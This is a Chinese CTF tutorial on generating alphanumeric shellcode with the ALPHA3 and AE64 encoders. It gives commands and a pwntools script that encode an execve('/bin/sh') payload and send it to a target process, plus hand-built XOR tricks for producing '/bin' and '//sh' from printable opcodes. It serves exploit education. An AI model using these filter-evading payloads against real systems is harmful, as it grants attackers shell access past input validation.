手把手教你写纯字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南

alphanumeric shellcode

alphanumeric shellcode(纯字符shellcode)是比较实用的一项技术,因为有些时候程序会对用户输入的字符进行限制,比如只允许输入可见字符,这时就需要用到纯字符的shellcode了。

原理很简单,就是使用纯字符对应的汇编指令完成shellcode的编写,比如:

ASCII字符 Hex 汇编指令
P 0x50 push %rax
Q 0x51 push %rcx
R 0x52 push %rdx
S 0x53 push %rbx
T 0x54 push %rsp
U 0x55 push %rbp
V 0x56 push %rsi
W 0x57 push %rdi
X 0x58 pop %rax
Y 0x59 pop %rcx
Z 0x5a pop %rdx

其余的就不一一列出了,本篇主要介绍使用工具编码,手动编码可以参考以下几篇文章:

  • Alphanumeric shellcode

  • x86纯字符编码表

  • x64纯字符编码表

alpha3

这个工具源码在google上,国内可以选择从github下载。不过官方代码在Linux环境下运行时有些问题:

% python ALPHA3.py
Traceback (most recent call last):
  File "ALPHA3.py", line 4, in <module>
    import charsets, encode, io
  File "/home/taqini/ctf_tools/alpha3/encode.py", line 1, in <module>
    import ALPHA3
  File "/home/taqini/ctf_tools/alpha3/ALPHA3.py", line 5, in <module>
    import x86, x64, test
  File "/home/taqini/ctf_tools/alpha3/test/__init__.py", line 25, in <module>
    raise OSError("Unsupported platform for testing.");
OSError: Unsupported platform for testing.

看下报错信息,发现错误在test/__init__.py中,打开源码,发现有个判断平台的代码,如果不是win32就报错,解决方法很简单,只需要把后两行代码注释掉就行,修改如下:

if (sys.platform == 'win32'):
	# ...
    TEST_SHELLCODE_OUTPUT = "Hello, world!\r\n"
#else:
#  raise OSError("Unsupported platform for testing.");

再次运行就正常:

% python ALPHA3.py
____________________________________________________________________________
      ,sSSs,,s,  ,sSSSs,    ALPHA3 - Alphanumeric shellcode encoder.
     dS"  Y$P"  YS"  ,SY    Version 1.0 alpha
    iS'   dY       ssS"     Copyright (C) 2003-2009 by SkyLined.
    YS,  dSb   SP,  ;SP     <[email protected]>
    `"YSS'"S'  "YSSSY"      http://skypher.com/wiki/index.php/ALPHA3
____________________________________________________________________________

[Usage]
  ALPHA3.py  [ encoder settings | I/O settings | flags ]

# ...

修改完之后还需要编译源码,但是编译源码的工具也在google上,如果懒得自己编译,可以直接下载我修改版: https://github.com/TaQini/alpha3

git clone https://github.com/TaQini/alpha3.git

生成shellcode

from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)

将上述代码保存成sc.py放到alpha3目录下,然后执行如下命令生成待编码的shellcode文件

python sc.py > shellcode

默认生成的是x64的sys_execve("/bin/sh",0,0),可以修改成其他的arch或shellcode

x64 alpha编码

生成x64 alpha shellcode

python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"

或者用我写的脚本:

./shellcode_x64.sh rax

其中输入文件为shellcoderax是用于编码的寄存器(shellcode基址)

比如有如下代码:

  00101246 48 8d     LEA    RAX,[RBP + -0x410]
           85 f0 
           fb ff 
  0010124d ff d0     CALL   RAX
  ; ...

通过call rax跳转到shellcode,那么alpha3命令中用于编码的寄存器就是rax

shellcode的起始地址存在哪个寄存器中,用于编码的寄存器就是哪个

x86 alpha编码

alpha3中x64的shellcode只要上述mixedcase一种情况,x86的选项比较多:

  • x86 ascii uppercase (数字+大写字母)
  • x86 ascii lowercase (数字+小写字母)
  • x86 ascii mixedcase (数字+大小写字母)

用法与x64相似,不赘述啦~

全部编码方式

alpha3支持的所有编码方式如下:

Valid base address examples for each encoder, ordered by encoder settings,
are:

[x64 ascii mixedcase]
  AscMix (r64)              RAX RCX RDX RBX RSP RBP RSI RDI

[x86 ascii lowercase]
  AscLow 0x30 (rm32)        ECX EDX EBX

[x86 ascii mixedcase]
  AscMix 0x30 (rm32)        EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI] [ESP-4]
                            ECX+2 ESI+4 ESI+8
  AscMix 0x30 (i32)         (address)
  AscMix Countslide (rm32)  countslide:EAX+offset~uncertainty
                            countslide:EBX+offset~uncertainty
                            countslide:ECX+offset~uncertainty
                            countslide:EDX+offset~uncertainty
                            countslide:ESI+offset~uncertainty
                            countslide:EDI+offset~uncertainty
  AscMix Countslide (i32)   countslide:address~uncertainty
  AscMix SEH GetPC (XPsp3)  seh_getpc_xpsp3

[x86 ascii uppercase]
  AscUpp 0x30 (rm32)        EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]

[x86 latin-1 mixedcase]
  Latin1Mix CALL GetPC      call

[x86 utf-16 uppercase]
  UniUpper 0x10 (rm32)      EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]

AE64

AE64是杭电的一位大师傅写的工具,专用于生成64位的aplha shellcode。下载方式:

git clone https://github.com/veritas501/ae64.git

AE64的优势在于编码时可以更加灵活地使用寄存器,但是生成的alpha shellcode比alpha3要更长一些。

此外AE64是python写的,可以直接在python中调用,以下是官方的栗子:

from pwn import *
from ae64 import AE64

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./example1')

obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'r13')

p.sendline(sc)

p.interactive()

手写alpha shellcode

最近做题遇到的,限制比普通ascii shellcode严格所以无法自动生成

详见:DawgCTF2020-trASCII

这里只贴关于aplha shellcode的字符串生成的小技巧

字符串生成小技巧

异或法

英文写的很蹩脚,但是应该能懂…

There are some techniques about generating string by ascii shellcode:

Ascii shellcode for generating string is as follows:

opcode(in ascii) assembly instructions
hxxxx push xxxx
5xxxx xor eax, xxxx
X pop eax
H dec eax

Example

Example1: generating ‘/bin

  1. List a table of string generated by XOR
target 1 b i n
tmp1 1 b 1 1
tmp2 b 1 i 1
tmp3 b 1 1 n
  1. set eax to 1bin with ascii shellcode
ascii instructions
h1b11 push 0x31316231
X pop eax
5b1i1 xor eax, 0x31693162
5b11n xor eax, 0x6e313162
  1. generate /bin from 1bin
          ; eax = 1bin
dec eax    ; eax = 0bin
dec eax    ; eax = /bin

Example2: generating ‘//sh

  1. List a table of string generated by XOR
target / / s h
tmp1 1 w 1 P
tmp2 w 1 A 1
tmp3 1 X 1 8
tmp4 X 1 2 1
  1. set eax to //sh with ascii shellcode
ascii instructions
h1w11 push 0x31317731
X pop eax
5w1A1 xor eax, 0x31413177
51X2P xor eax, 0x50325831
5X118 xor eax, 0x38313158

减法

方法来源ref: binLep师傅

同题我的解法: pwn6

asm('sub byte ptr [rsi + 0x2f], dl')

# '(V/'

你可能感兴趣的:(CTF,pwn,知识总结)